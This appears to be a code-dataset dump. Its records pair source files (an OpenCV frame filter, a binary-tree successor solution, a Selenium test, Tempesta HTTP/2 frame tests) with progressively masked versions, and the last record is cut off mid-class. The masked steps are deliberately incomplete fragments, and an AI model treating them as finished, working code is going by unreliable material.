{ "blob_id": "1da93e9113089f1a2881d4094180ba524d0d4a86", "index": 8531, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef filter_frames(frames, method=cv2.HISTCMP_CORREL, target_size=(64, 64),\n threshold=0.65):\n \"\"\"Filter noisy frames out\n\n Args:\n frames (list<numpy.ndarray[H, W, 3]>): video frames\n method (int, optional): histogram comparison method\n target_size (tuple<int, int>, optional): frame size used for histogram comparison\n threshold (float, optional): minimum correlation between histograms to keep frame\n\n Returns:\n list<numpy.ndarray[H, W, 3]>: video frames\n \"\"\"\n resized_frames = [cv2.resize(f.copy(), target_size) for f in frames]\n histograms = []\n for f in resized_frames:\n hist = cv2.calcHist([f], [0, 1, 2], None, [8, 8, 8], [0, 256, 0, \n 256, 0, 256])\n histograms.append(cv2.normalize(hist, hist).flatten())\n med_hist = np.median(histograms, axis=0)\n filtered_frames = []\n for idx, hist in enumerate(histograms):\n if cv2.compareHist(med_hist, hist, method) > threshold:\n filtered_frames.append(frames[idx])\n return filtered_frames\n", "step-3": "<mask token>\nimport numpy as np\nimport cv2\n\n\ndef filter_frames(frames, method=cv2.HISTCMP_CORREL, target_size=(64, 64),\n threshold=0.65):\n \"\"\"Filter noisy frames out\n\n Args:\n frames (list<numpy.ndarray[H, W, 3]>): video frames\n method (int, optional): histogram comparison method\n target_size (tuple<int, int>, optional): frame size used for histogram comparison\n threshold (float, optional): minimum correlation between histograms to keep frame\n\n Returns:\n list<numpy.ndarray[H, W, 3]>: video frames\n \"\"\"\n resized_frames = [cv2.resize(f.copy(), target_size) for f in frames]\n histograms = []\n for f in resized_frames:\n hist = cv2.calcHist([f], [0, 1, 2], None, [8, 8, 8], [0, 256, 0, \n 256, 0, 256])\n histograms.append(cv2.normalize(hist, hist).flatten())\n med_hist = np.median(histograms, axis=0)\n filtered_frames = []\n for idx, hist in enumerate(histograms):\n if cv2.compareHist(med_hist, hist, method) > threshold:\n filtered_frames.append(frames[idx])\n return filtered_frames\n", "step-4": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'''\nFrame filtering\n'''\n\nimport numpy as np\nimport cv2\n\n\ndef filter_frames(frames, method=cv2.HISTCMP_CORREL, target_size=(64, 64), threshold=0.65):\n \"\"\"Filter noisy frames out\n\n Args:\n frames (list<numpy.ndarray[H, W, 3]>): video frames\n method (int, optional): histogram comparison method\n target_size (tuple<int, int>, optional): frame size used for histogram comparison\n threshold (float, optional): minimum correlation between histograms to keep frame\n\n Returns:\n list<numpy.ndarray[H, W, 3]>: video frames\n \"\"\"\n\n resized_frames = [cv2.resize(f.copy(), target_size) for f in frames]\n\n histograms = []\n for f in resized_frames:\n hist = cv2.calcHist([f], [0, 1, 2], None, [8, 8, 8], [0, 256, 0, 256, 0, 256])\n histograms.append(cv2.normalize(hist, hist).flatten())\n\n # Find a reference histogram (median less sensitive to noise)\n med_hist = np.median(histograms, axis=0)\n\n filtered_frames = []\n # Compare all histograms to the median one\n for idx, hist in enumerate(histograms):\n # Only keep frames with relatively high correlation\n if cv2.compareHist(med_hist, hist, method) > threshold:\n filtered_frames.append(frames[idx])\n\n return filtered_frames\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
# -*- coding:utf-8 -*- # class TreeLinkNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None # self.next = None class Solution: """ 给定一个二叉树和其中的一个结点,请找出中序遍历顺序的下一个结点并且返回。 注意,树中的结点不仅包含左右子结点,同时包含指向父结点的指针。 """ def GetNext(self, pNode): # write code here def left_most(p): if p == None: return None while p.left: p = p.left return p if pNode == None: return None if pNode.right: return left_most(pNode.right) else: temp = pNode while temp.next: if temp.next.left == temp: # pNode在某节点的左子树中 return temp.next temp = temp.next # 退到根节点 return None
normal
{ "blob_id": "57f8584a8d058e5f9d4e0b7b75c7ec8dbbfef24a", "index": 9681, "step-1": "<mask token>\n", "step-2": "class Solution:\n <mask token>\n <mask token>\n", "step-3": "class Solution:\n <mask token>\n\n def GetNext(self, pNode):\n\n def left_most(p):\n if p == None:\n return None\n while p.left:\n p = p.left\n return p\n if pNode == None:\n return None\n if pNode.right:\n return left_most(pNode.right)\n else:\n temp = pNode\n while temp.next:\n if temp.next.left == temp:\n return temp.next\n temp = temp.next\n return None\n", "step-4": "class Solution:\n \"\"\"\n 给定一个二叉树和其中的一个结点,请找出中序遍历顺序的下一个结点并且返回。\n 注意,树中的结点不仅包含左右子结点,同时包含指向父结点的指针。\n \"\"\"\n\n def GetNext(self, pNode):\n\n def left_most(p):\n if p == None:\n return None\n while p.left:\n p = p.left\n return p\n if pNode == None:\n return None\n if pNode.right:\n return left_most(pNode.right)\n else:\n temp = pNode\n while temp.next:\n if temp.next.left == temp:\n return temp.next\n temp = temp.next\n return None\n", "step-5": "# -*- coding:utf-8 -*-\n# class TreeLinkNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n# self.next = None\nclass Solution:\n \"\"\"\n 给定一个二叉树和其中的一个结点,请找出中序遍历顺序的下一个结点并且返回。\n 注意,树中的结点不仅包含左右子结点,同时包含指向父结点的指针。\n \"\"\"\n def GetNext(self, pNode):\n # write code here\n def left_most(p):\n if p == None:\n return None\n while p.left:\n p = p.left\n return p\n\n if pNode == None:\n return None\n if pNode.right:\n return left_most(pNode.right)\n else:\n temp = pNode\n while temp.next:\n if temp.next.left == temp:\n # pNode在某节点的左子树中\n return temp.next\n temp = temp.next\n # 退到根节点\n return None\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
""" 实战练习: 1.打开网页 https://www.runoob.com/try/try.php?filename=jqueryui-api-droppable 2.操作窗口右侧页面,将元素1拖拽到元素2 3.这时候会有一个alert弹框,点击弹框中的‘确定’ 3.然后再按’点击运行’ 4.关闭网页 """ import pytest from selenium import webdriver from time import sleep from selenium.webdriver import ActionChains class TestFrame: def setup(self): self.driver = webdriver.Chrome() self.driver.get("https://www.runoob.com/try/try.php?filename=jqueryui-api-droppable") self.driver.implicitly_wait(5) self.driver.maximize_window() def teardown(self): self.driver.quit() def test_frame(self): # 检查要打印的元素,可以发现他们属于iframe元素,也就是需要先使用switch_to.frame("新frame的id")切换到对应的frame页 self.driver.switch_to.frame("iframeResult") # 拖拽需要调用ActionChains方法 action=ActionChains(self.driver) drag=self.driver.find_element_by_id("draggable") drop=self.driver.find_element_by_id("droppable") action.drag_and_drop(drag,drop).perform() sleep(2) # 拖拽完成后会弹出一个alert弹框,所以需要切换到alert,并调用.accept()进行确认操作 self.driver.switch_to.alert.accept() # 点击确认后,alert弹框消失,默认还是在拖拽的iframe页面,接下来要点击运行,所以要再次进行切换 self.driver.switch_to.default_content() # 切换到默认frame,第一种方式 #self.driver.switch_to.parent_frame() # 切换到父frame第二种方式,两种方式都可以 self.driver.find_element_by_id("submitBTN").click() sleep(3) if __name__ == '__main__': pytest.main()
normal
{ "blob_id": "74843dea00a88513c3a9237eb024e1e14e8b1ff8", "index": 3088, "step-1": "<mask token>\n\n\nclass TestFrame:\n <mask token>\n\n def teardown(self):\n self.driver.quit()\n\n def test_frame(self):\n self.driver.switch_to.frame('iframeResult')\n action = ActionChains(self.driver)\n drag = self.driver.find_element_by_id('draggable')\n drop = self.driver.find_element_by_id('droppable')\n action.drag_and_drop(drag, drop).perform()\n sleep(2)\n self.driver.switch_to.alert.accept()\n self.driver.switch_to.default_content()\n self.driver.find_element_by_id('submitBTN').click()\n sleep(3)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass TestFrame:\n\n def setup(self):\n self.driver = webdriver.Chrome()\n self.driver.get(\n 'https://www.runoob.com/try/try.php?filename=jqueryui-api-droppable'\n )\n self.driver.implicitly_wait(5)\n self.driver.maximize_window()\n\n def teardown(self):\n self.driver.quit()\n\n def test_frame(self):\n self.driver.switch_to.frame('iframeResult')\n action = ActionChains(self.driver)\n drag = self.driver.find_element_by_id('draggable')\n drop = self.driver.find_element_by_id('droppable')\n action.drag_and_drop(drag, drop).perform()\n sleep(2)\n self.driver.switch_to.alert.accept()\n self.driver.switch_to.default_content()\n self.driver.find_element_by_id('submitBTN').click()\n sleep(3)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass TestFrame:\n\n def setup(self):\n self.driver = webdriver.Chrome()\n self.driver.get(\n 'https://www.runoob.com/try/try.php?filename=jqueryui-api-droppable'\n )\n self.driver.implicitly_wait(5)\n self.driver.maximize_window()\n\n def teardown(self):\n self.driver.quit()\n\n def test_frame(self):\n self.driver.switch_to.frame('iframeResult')\n action = ActionChains(self.driver)\n drag = self.driver.find_element_by_id('draggable')\n drop = self.driver.find_element_by_id('droppable')\n action.drag_and_drop(drag, drop).perform()\n sleep(2)\n self.driver.switch_to.alert.accept()\n self.driver.switch_to.default_content()\n self.driver.find_element_by_id('submitBTN').click()\n sleep(3)\n\n\nif __name__ == '__main__':\n pytest.main()\n", "step-4": "<mask token>\nimport pytest\nfrom selenium import webdriver\nfrom time import sleep\nfrom selenium.webdriver import ActionChains\n\n\nclass TestFrame:\n\n def setup(self):\n self.driver = webdriver.Chrome()\n self.driver.get(\n 'https://www.runoob.com/try/try.php?filename=jqueryui-api-droppable'\n )\n self.driver.implicitly_wait(5)\n self.driver.maximize_window()\n\n def teardown(self):\n self.driver.quit()\n\n def test_frame(self):\n self.driver.switch_to.frame('iframeResult')\n action = ActionChains(self.driver)\n drag = self.driver.find_element_by_id('draggable')\n drop = self.driver.find_element_by_id('droppable')\n action.drag_and_drop(drag, drop).perform()\n sleep(2)\n self.driver.switch_to.alert.accept()\n self.driver.switch_to.default_content()\n self.driver.find_element_by_id('submitBTN').click()\n sleep(3)\n\n\nif __name__ == '__main__':\n pytest.main()\n", "step-5": "\"\"\"\n实战练习:\n1.打开网页\nhttps://www.runoob.com/try/try.php?filename=jqueryui-api-droppable\n2.操作窗口右侧页面,将元素1拖拽到元素2\n3.这时候会有一个alert弹框,点击弹框中的‘确定’\n3.然后再按’点击运行’\n4.关闭网页\n\"\"\"\nimport pytest\nfrom selenium import webdriver\nfrom time import sleep\nfrom selenium.webdriver import ActionChains\nclass TestFrame:\n def setup(self):\n self.driver = webdriver.Chrome()\n self.driver.get(\"https://www.runoob.com/try/try.php?filename=jqueryui-api-droppable\")\n self.driver.implicitly_wait(5)\n self.driver.maximize_window()\n def teardown(self):\n self.driver.quit()\n def test_frame(self):\n # 检查要打印的元素,可以发现他们属于iframe元素,也就是需要先使用switch_to.frame(\"新frame的id\")切换到对应的frame页\n self.driver.switch_to.frame(\"iframeResult\")\n # 拖拽需要调用ActionChains方法\n action=ActionChains(self.driver)\n drag=self.driver.find_element_by_id(\"draggable\")\n drop=self.driver.find_element_by_id(\"droppable\")\n action.drag_and_drop(drag,drop).perform()\n sleep(2)\n # 拖拽完成后会弹出一个alert弹框,所以需要切换到alert,并调用.accept()进行确认操作\n self.driver.switch_to.alert.accept()\n # 点击确认后,alert弹框消失,默认还是在拖拽的iframe页面,接下来要点击运行,所以要再次进行切换\n self.driver.switch_to.default_content() # 切换到默认frame,第一种方式\n #self.driver.switch_to.parent_frame() # 切换到父frame第二种方式,两种方式都可以\n self.driver.find_element_by_id(\"submitBTN\").click()\n sleep(3)\nif __name__ == '__main__':\n pytest.main()\n", "step-ids": [ 3, 4, 5, 6, 7 ] }
[ 3, 4, 5, 6, 7 ]
"""Functional tests for h2 frames.""" __author__ = "Tempesta Technologies, Inc." __copyright__ = "Copyright (C) 2023 Tempesta Technologies, Inc." __license__ = "GPL2" from h2.errors import ErrorCodes from h2.exceptions import StreamClosedError from framework import deproxy_client, tester from helpers import checks_for_tests as checks from http2_general.helpers import H2Base from helpers.networker import NetWorker from hpack import HeaderTuple class TestH2Frame(H2Base): def test_data_framing(self): """Send many 1 byte frames in request.""" self.start_all_services() deproxy_cl = self.get_client("deproxy") deproxy_cl.parsing = False request_body = "x" * 100 deproxy_cl.make_request(request=self.post_request, end_stream=False) for byte in request_body[:-1]: deproxy_cl.make_request(request=byte, end_stream=False) deproxy_cl.make_request(request=request_body[-1], end_stream=True) self.__assert_test(client=deproxy_cl, request_body=request_body, request_number=1) def test_empty_last_data_frame(self): """ Send request with empty last data frame. It is valid request. RFC 9113 6.9.1. """ self.start_all_services() deproxy_cl = self.get_client("deproxy") deproxy_cl.parsing = False request_body = "123" deproxy_cl.make_request(request=self.post_request, end_stream=False) deproxy_cl.make_request(request=request_body, end_stream=False) deproxy_cl.make_request(request="", end_stream=True) self.__assert_test(client=deproxy_cl, request_body=request_body, request_number=1) def test_empty_data_frame(self): """ Send request with empty data frame. It is valid request. RFC 9113 10.5. """ self.start_all_services() deproxy_cl = self.get_client("deproxy") deproxy_cl.parsing = False request_body = "123" deproxy_cl.make_request(request=self.post_request, end_stream=False) deproxy_cl.make_request(request="", end_stream=False) deproxy_cl.make_request(request=request_body, end_stream=True) self.__assert_test(client=deproxy_cl, request_body=request_body, request_number=1) def test_settings_frame(self): """ Create tls connection and send preamble + correct settings frame. Tempesta must accept settings and return settings + ack settings frames. Then client send ack settings frame and Tempesta must correctly accept it. """ self.start_all_services(client=True) client: deproxy_client.DeproxyClientH2 = self.get_client("deproxy") # initiate_connection() generates preamble + settings frame with default variables self.initiate_h2_connection(client) # send empty setting frame with ack flag. client.send_bytes(client.h2_connection.data_to_send()) client.h2_connection.clear_outbound_data_buffer() # send header frame after exchanging settings and make sure # that connection is open. client.send_request(self.post_request, "200") def test_window_update_frame(self): """Tempesta must handle WindowUpdate frame.""" self.start_all_services(client=True) client: deproxy_client.DeproxyClientH2 = self.get_client("deproxy") # add preamble + settings frame with SETTING_INITIAL_WINDOW_SIZE = 65535 client.update_initial_settings() # send preamble + settings frame client.send_bytes(client.h2_connection.data_to_send()) client.h2_connection.clear_outbound_data_buffer() self.assertTrue(client.wait_for_ack_settings()) # send WindowUpdate frame with window size increment = 5000 client.h2_connection.increment_flow_control_window(5000) client.send_bytes(client.h2_connection.data_to_send()) client.h2_connection.clear_outbound_data_buffer() # send header frame after sending WindowUpdate and make sure # that connection is working correctly. client.send_request(self.get_request, "200") self.assertFalse(client.connection_is_closed()) def test_continuation_frame(self): """Tempesta must handle CONTINUATION frame.""" self.start_all_services() client: deproxy_client.DeproxyClientH2 = self.get_client("deproxy") client.update_initial_settings() client.send_bytes(client.h2_connection.data_to_send()) client.h2_connection.clear_outbound_data_buffer() # H2Connection separates headers to HEADERS + CONTINUATION frames # if they are larger than 16384 bytes client.send_request( request=self.get_request + [("qwerty", "x" * 5000) for _ in range(4)], expected_status_code="200", ) self.assertFalse(client.connection_is_closed()) def test_rst_frame_in_request(self): """ Tempesta must handle RST_STREAM frame and close stream but other streams MUST work. """ client = self.get_client("deproxy") self.start_all_services() self.initiate_h2_connection(client) # client opens streams with id 1, 3 and does not close them client.make_request(request=self.post_request, end_stream=False) client.stream_id = 3 client.make_request(request=self.post_request, end_stream=False) # client send RST_STREAM frame with NO_ERROR code in stream 1 and # Tempesta closes it for itself. client.h2_connection.reset_stream(stream_id=1, error_code=0) client.send_bytes(client.h2_connection.data_to_send()) # Client send DATA frame in stream 3 and it MUST receive response client.send_request("qwe", "200") # Tempesta allows creating new streams. client.stream_id = 5 client.send_request(self.post_request, "200") self.assertFalse( client.connection_is_closed(), "Tempesta closed connection after receiving RST_STREAM." ) def test_rst_frame_in_response(self): """ When Tempesta returns RST_STREAM: - open streams must not be closed; - new streams must be accepted. """ client = self.get_client("deproxy") client.parsing = False self.start_all_services() self.initiate_h2_connection(client) # client opens stream with id 1 and does not close it client.make_request(request=self.post_request, end_stream=False) # client send invalid request and Tempesta returns RST_STREAM stream_with_rst = 3 client.stream_id = stream_with_rst client.send_request(self.get_request + [("x-forwarded-for", "1.1.1.1.1.1")], "400") # client open new stream client.make_request(self.get_request, end_stream=True) client.wait_for_response(3) # client send DATA frame in stream 1 and it must be open. client.stream_id = 1 client.make_request("body", end_stream=True) client.wait_for_response(3) self.assertRaises( StreamClosedError, client.h2_connection._get_stream_by_id, stream_with_rst ) self.assertFalse( client.connection_is_closed(), "Tempesta closed connection after sending RST_STREAM." ) def test_rst_stream_with_id_0(self): """ RST_STREAM frames MUST be associated with a stream. If a RST_STREAM frame is received with a stream identifier of 0x00, the recipient MUST treat this as a connection error (Section 5.4.1) of type PROTOCOL_ERROR. RFC 9113 6.4 """ client = self.get_client("deproxy") self.start_all_services() self.initiate_h2_connection(client) # send RST_STREAM with id 0 client.send_bytes(b"\x00\x00\x04\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00") self.assertTrue( client.wait_for_connection_close(1), "Tempesta did not close connection after receiving RST_STREAM with id 0.", ) self.assertIn(ErrorCodes.PROTOCOL_ERROR, client.error_codes) def test_goaway_frame_in_response(self): """ Tempesta must: - close all streams for connection error (GOAWAY); - return last_stream_id. There is an inherent race condition between an endpoint starting new streams and the remote peer sending a GOAWAY frame. To deal with this case, the GOAWAY contains the stream identifier of the last peer-initiated stream that was or might be processed on the sending endpoint in this connection. For instance, if the server sends a GOAWAY frame, the identified stream is the highest-numbered stream initiated by the client. RFC 9113 6.8 """ client = self.get_client("deproxy") self.start_all_services() self.initiate_h2_connection(client) # Client opens many streams and does not close them for stream_id in range(1, 6, 2): client.stream_id = stream_id client.make_request(request=self.post_request, end_stream=False) # Client send DATA frame with stream id 0. # Tempesta MUST return GOAWAY frame with PROTOCOL_ERROR client.send_bytes(b"\x00\x00\x03\x00\x01\x00\x00\x00\x00asd") self.assertTrue(client.wait_for_connection_close(3), "Tempesta did not send GOAWAY frame.") self.assertIn(ErrorCodes.PROTOCOL_ERROR, client.error_codes) self.assertEqual( client.last_stream_id, stream_id, "Tempesta returned invalid last_stream_id in GOAWAY frame.", ) def test_goaway_frame_in_request(self): """ Tempesta must not close connection after receiving GOAWAY frame. GOAWAY allows an endpoint to gracefully stop accepting new streams while still finishing processing of previously established streams. RFC 9113 6.8 """ client = self.get_client("deproxy") self.start_all_services() self.initiate_h2_connection(client) # Client opens many streams and does not close them for stream_id in range(1, 6, 2): client.stream_id = stream_id client.make_request(request=self.post_request, end_stream=False) # Client send GOAWAY frame with PROTOCOL_ERROR as bytes # because `_terminate_connection` method changes state machine to closed client.send_bytes(b"\x00\x00\x08\x07\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01") # Client sends frames in already open streams. # Tempesta must handle these frames and must not close streams, # because sender closes connection, but not receiver. for stream_id in range(1, 6, 2): client.stream_id = stream_id client.make_request(request="asd", end_stream=True) self.assertTrue( client.wait_for_response(), "Tempesta closed connection after receiving GOAWAY frame." ) def test_double_header_frame_in_single_stream(self): client = self.get_client("deproxy") self.start_all_services() self.initiate_h2_connection(client) client.make_request(self.post_request, end_stream=False) client.make_request([("header1", "header value1")], end_stream=True) self.assertTrue(client.wait_for_connection_close()) self.assertIn(ErrorCodes.PROTOCOL_ERROR, client.error_codes) def __assert_test(self, client, request_body: str, request_number: int): server = self.get_server("deproxy") self.assertTrue(client.wait_for_response(timeout=5)) self.assertEqual(client.last_response.status, "200") self.assertEqual(len(server.requests), request_number) checks.check_tempesta_request_and_response_stats( tempesta=self.get_tempesta(), cl_msg_received=request_number, cl_msg_forwarded=request_number, srv_msg_received=request_number, srv_msg_forwarded=request_number, ) error_msg = "Malformed request from Tempesta." self.assertEqual(server.last_request.method, self.post_request[3][1], error_msg) self.assertEqual(server.last_request.headers["host"], self.post_request[0][1], error_msg) self.assertEqual(server.last_request.uri, self.post_request[1][1], error_msg) self.assertEqual(server.last_request.body, request_body) class TestH2FrameEnabledDisabledTsoGroGsoBase(H2Base): def setup_tests(self): self.start_all_services() client = self.get_client("deproxy") server = self.get_server("deproxy") client.update_initial_settings(header_table_size=512) client.send_bytes(client.h2_connection.data_to_send()) client.wait_for_ack_settings() return client, server DEFAULT_MTU = 1500 class TestH2FrameEnabledDisabledTsoGroGso(TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker): def test_headers_frame_with_continuation(self): client, server = self.setup_tests() self.run_test_tso_gro_gso_disabled( client, server, self._test_headers_frame_with_continuation, DEFAULT_MTU ) self.run_test_tso_gro_gso_enabled( client, server, self._test_headers_frame_with_continuation, DEFAULT_MTU ) def test_headers_frame_without_continuation(self): client, server = self.setup_tests() self.run_test_tso_gro_gso_disabled( client, server, self._test_headers_frame_without_continuation, DEFAULT_MTU ) self.run_test_tso_gro_gso_enabled( client, server, self._test_headers_frame_without_continuation, DEFAULT_MTU ) def test_data_frame(self): client, server = self.setup_tests() self.run_test_tso_gro_gso_disabled(client, server, self._test_data_frame, DEFAULT_MTU) self.run_test_tso_gro_gso_enabled(client, server, self._test_data_frame, DEFAULT_MTU) def test_headers_frame_for_local_resp_invalid_req_d(self): client, server = self.setup_tests() self.run_test_tso_gro_gso_disabled( client, server, self._test_headers_frame_for_local_resp_invalid_req, DEFAULT_MTU ) def test_headers_frame_for_local_resp_invalid_req_e(self): client, server = self.setup_tests() self.run_test_tso_gro_gso_enabled( client, server, self._test_headers_frame_for_local_resp_invalid_req, DEFAULT_MTU ) def _test_headers_frame_for_local_resp_invalid_req(self, client, server): client.send_request( request=[ HeaderTuple(":authority", "bad.com"), HeaderTuple(":path", "/"), HeaderTuple(":scheme", "https"), HeaderTuple(":method", "GET"), ], expected_status_code="403", ) def _test_data_frame(self, client, server): self._test_headers_data_frames(client, server, 50000, 100000) def _test_headers_frame_with_continuation(self, client, server): self._test_headers_data_frames(client, server, 50000, 0) def _test_headers_frame_without_continuation(self, client, server): self._test_headers_data_frames(client, server, 1000, 0) def _test_headers_data_frames(self, client, server, header_len, body_len): header = ("qwerty", "x" * header_len) server.set_response( "HTTP/1.1 200 OK\r\n" + "Date: test\r\n" + "Server: debian\r\n" f"{header[0]}: {header[1]}\r\n" + f"Content-Length: {body_len}\r\n\r\n" + ("x" * body_len) ) client.make_request(self.post_request) client.wait_for_response(5) self.assertFalse(client.connection_is_closed()) self.assertEqual(client.last_response.status, "200", "Status code mismatch.") self.assertIsNotNone(client.last_response.headers.get(header[0])) self.assertEqual(len(client.last_response.headers.get(header[0])), len(header[1])) self.assertEqual( len(client.last_response.body), body_len, "Tempesta did not return full response body." ) class TestH2FrameEnabledDisabledTsoGroGsoStickyCookie( TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker ): tempesta = { "config": """ listen 443 proto=h2; srv_group default { server ${server_ip}:8000; } vhost v_good { proxy_pass default; sticky { sticky_sessions; cookie enforce; secret "f00)9eR59*_/22"; } } tls_certificate ${tempesta_workdir}/tempesta.crt; tls_certificate_key ${tempesta_workdir}/tempesta.key; tls_match_any_server_name; cache 1; cache_fulfill * *; block_action attack reply; block_action error reply; http_chain { host == "bad.com" -> block; host == "example.com" -> v_good; } """ } def test_headers_frame_for_local_resp_sticky_cookie_short(self): client, server = self.setup_tests() self.run_test_tso_gro_gso_disabled( client, server, self._test_headers_frame_for_local_resp_sticky_cookie_short, DEFAULT_MTU ) self.run_test_tso_gro_gso_enabled( client, server, self._test_headers_frame_for_local_resp_sticky_cookie_short, DEFAULT_MTU ) def test_headers_frame_for_local_resp_sticky_cookie_long(self): client, server = self.setup_tests() self.run_test_tso_gro_gso_disabled( client, server, self._test_headers_frame_for_local_resp_sticky_cookie_long, DEFAULT_MTU ) self.run_test_tso_gro_gso_enabled( client, server, self._test_headers_frame_for_local_resp_sticky_cookie_long, DEFAULT_MTU ) def _test_headers_frame_for_local_resp_sticky_cookie_short(self, client, server): self._test_headers_frame_for_local_resp_sticky_cookie(client, server, 1000, 0) def _test_headers_frame_for_local_resp_sticky_cookie_long(self, client, server): self._test_headers_frame_for_local_resp_sticky_cookie(client, server, 50000, 50000) def _test_headers_frame_for_local_resp_sticky_cookie( self, client, server, header_len, body_len ): header = ("qwerty", "x" * header_len) server.set_response( "HTTP/1.1 200 OK\r\n" + "Date: test\r\n" + "Server: debian\r\n" f"{header[0]}: {header[1]}\r\n" + f"Content-Length: {body_len}\r\n\r\n" + ("x" * body_len) ) client.send_request(request=self.post_request, expected_status_code="302") self.post_request.append(HeaderTuple("Cookie", client.last_response.headers["set-cookie"])) client.send_request(request=self.post_request, expected_status_code="200") self.post_request.pop() class TestH2FrameEnabledDisabledTsoGroGsoCache(TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker): tempesta = { "config": """ listen 443 proto=h2; srv_group default { server ${server_ip}:8000; } vhost v_good { proxy_pass default; } tls_certificate ${tempesta_workdir}/tempesta.crt; tls_certificate_key ${tempesta_workdir}/tempesta.key; tls_match_any_server_name; cache 1; cache_fulfill * *; cache_methods GET; block_action attack reply; block_action error reply; http_chain { host == "bad.com" -> block; host == "example.com" -> v_good; } """ } def test_headers_frame_for_local_resp_cache_304_short(self): client, server = self.setup_tests() self.run_test_tso_gro_gso_disabled( client, server, self._test_headers_frame_for_local_resp_cache_304_short, DEFAULT_MTU ) self.run_test_tso_gro_gso_enabled( client, server, self._test_headers_frame_for_local_resp_cache_304_short, DEFAULT_MTU ) def test_headers_frame_for_local_resp_cache_200_short(self): client, server = self.setup_tests() self.run_test_tso_gro_gso_disabled( client, server, self._test_headers_frame_for_local_resp_cache_200_short, DEFAULT_MTU ) self.run_test_tso_gro_gso_enabled( client, server, self._test_headers_frame_for_local_resp_cache_200_short, DEFAULT_MTU ) def test_headers_frame_for_local_resp_cache_304_long(self): client, server = self.setup_tests() self.run_test_tso_gro_gso_disabled( client, server, self._test_headers_frame_for_local_resp_cache_304_long, DEFAULT_MTU ) self.run_test_tso_gro_gso_enabled( client, server, self._test_headers_frame_for_local_resp_cache_304_long, DEFAULT_MTU ) def test_headers_frame_for_local_resp_cache_200_long(self): client, server = self.setup_tests() self.run_test_tso_gro_gso_disabled( client, server, self._test_headers_frame_for_local_resp_cache_200_long, DEFAULT_MTU ) self.run_test_tso_gro_gso_enabled( client, server, self._test_headers_frame_for_local_resp_cache_200_long, DEFAULT_MTU ) def _test_headers_frame_for_local_resp_cache_304_short(self, client, server): self._test_headers_frame_for_local_resp_cache( client, server, 1000, 0, "Mon, 12 Dec 2024 13:59:39 GMT", "304" ) def _test_headers_frame_for_local_resp_cache_200_short(self, client, server): self._test_headers_frame_for_local_resp_cache( client, server, 1000, 0, "Mon, 12 Dec 2020 13:59:39 GMT", "200" ) def _test_headers_frame_for_local_resp_cache_304_long(self, client, server): self._test_headers_frame_for_local_resp_cache( client, server, 50000, 100000, "Mon, 12 Dec 2024 13:59:39 GMT", "304" ) def _test_headers_frame_for_local_resp_cache_200_long(self, client, server): self._test_headers_frame_for_local_resp_cache( client, server, 50000, 100000, "Mon, 12 Dec 2020 13:59:39 GMT", "200" ) def _test_headers_frame_for_local_resp_cache( self, client, server, header_len, body_len, date, status_code ): header = ("qwerty", "x" * header_len) server.set_response( "HTTP/1.1 200 OK\r\n" + "Date: test\r\n" + "Server: debian\r\n" f"{header[0]}: {header[1]}\r\n" + f"Content-Length: {body_len}\r\n\r\n" + ("x" * body_len) ) headers = [ HeaderTuple(":authority", "example.com"), HeaderTuple(":path", "/"), HeaderTuple(":scheme", "https"), HeaderTuple(":method", "GET"), ] client.send_request(request=headers, expected_status_code="200") headers.append(HeaderTuple("if-modified-since", date)) client.send_request(request=headers, expected_status_code=status_code)
normal
{ "blob_id": "e474cb3db74b5344bd861aacf779cb9f77830ef6", "index": 5661, "step-1": "<mask token>\n\n\nclass TestH2FrameEnabledDisabledTsoGroGso(\n TestH2FrameEnabledDisabledTsoGroGsoBase, NetWorker):\n\n def test_headers_frame_with_continuation(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_with_continuation, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_with_continuation, DEFAULT_MTU)\n\n def test_headers_frame_without_continuation(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_without_continuation, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_without_continuation, DEFAULT_MTU)\n\n def test_data_frame(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_data_frame, DEFAULT_MTU)\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_data_frame, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_invalid_req_d(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_disabled(client, server, self.\n _test_headers_frame_for_local_resp_invalid_req, DEFAULT_MTU)\n\n def test_headers_frame_for_local_resp_invalid_req_e(self):\n client, server = self.setup_tests()\n self.run_test_tso_gro_gso_enabled(client, server, self.\n _test_headers_frame_for_local_resp_invalid_req, DEFAULT_MTU)\n <mask token>\n\n def _test_data_frame(self, client, server):\n self._test_headers_data_frames(client, server, 50000, 100000)\n <mask token>\n\n def _test_headers_frame_without_continuation(self, client, server):\n self._test_headers_data_frames(client, server, 1000, 0)\n\n def _test_headers_data_frames(self, client, server, header_len, body_len):\n header = 'qwerty', 'x' * header_len\n server.set_response('HTTP/1.1 200 OK\\r\\n' + 'Date: test\\r\\n' +\n f'Server: debian\\r\\n{header[0]}: {header[1]}\\r\\n' +\n f'Content-Length: {body_len}\\r\\n\\r\\n' + 'x' * body_len)\n client.make_request(self.post_request)\n client.wait_for_response(5)\n self.assertFalse(client.connection_is_closed())\n self.assertEqual(client.last_response.status, '200',\n 'Status code mismatch.')\n self.assertIsNotNone(client.last_response.headers.get(header[0]))\n self.assertEqual(len(client.last_response.headers.get(header[0])),\n len(header[1]))\n self.assertEqual(len(client.last_response.body), body_len,\n 'Tempesta did not return full response body.')\n\n\nclass TestH2FrameEnabledDisabledTsoGroGsoStickyCookie(\n 